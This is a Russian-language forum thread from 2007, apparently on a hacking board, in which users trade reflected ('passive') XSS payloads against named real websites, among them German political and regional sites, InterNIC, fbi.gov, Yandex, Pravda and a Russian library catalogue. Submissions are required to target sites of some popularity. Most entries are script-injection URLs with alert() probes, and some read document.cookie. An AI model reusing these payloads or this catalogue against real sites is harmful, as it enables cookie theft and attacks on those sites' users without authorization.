Пассивные XSS

[0x40k]

В этой теме выкладываем пассивные XSS

Требования:
Тиц >=10
Pr >=1

15.07.07

http://www.gruene.de/cms/default/dok/144/144640.dokumentsuche.htm?execute=1&suche_voll_starten=1&volltext_suchbegriff="><script>alert(1)</script>
http://www.terions.de/index_whois.php?ddomain="><script>alert(1)</script>
http://www.eselfilme.com/newsletter/newsletter.php?action=sign&email="><script>alert(1)</script>
http://www.region-stuttgart.de/sixcms/rs_suche/?_suche="><script>alert(1)</script>
http://reports.internic.net/cgi/whois?whois_nic="><script>alert(1)</script>&type=domain

[BlackSun]

(POST) http://tmn.citydom.ru/?check=.&domai...;%3C/script%3E

[Isis]

wwww.fbi.gov
http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert('Rosgot this found..') (c) rosgot

[Laipone]

http://www.babyplan.ru/sitesearch
в поиске "><script>alert("XSS")</script><P aling"

[Laipone]

www.pravda.ru
http://www.pravda.ru/search/?string=%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C% 2Fscript%3E%3Cp+aling+%22&submit=%C8%F1%EA%E0%F2%F C

[ST[7X]]

http://yandex.ru/?text="><script>alert(document.cookie)</script> ©NOmeR1

[K1nD[e]R]

http://sigla.rsl.ru/results.jsp?f=1016&t=3&v0=&f=1003&t=1&v1=&f=4&t=2&3&v5=&bf=4&b=&d=0&ys=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&ye=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&lng=&ft=&mt=&doi=&dt=&vol=&pt=&iss=&ps=&pe=&tr=Cyr-Common&tro=&cc=n&i=1&v=tagged&s=2&ss=0&st=0&i18n=ru&psz=20&bs=20&ce=...U&debug=false

[K1nD[e]R]

http://www.mf-stalker.ru/p/index.php?searchstring=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&image.x=19&image.y=15

[K1nD[e]R]

http://www.narkotiki.ru/search.html?searchstr=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&m=p&f=s

[_-Ramos-_]

_http://www.livepoint.it/News_articolo.asp?art=2065%22%3E%3Cscript%3Ealert( 1)%3C/script%3E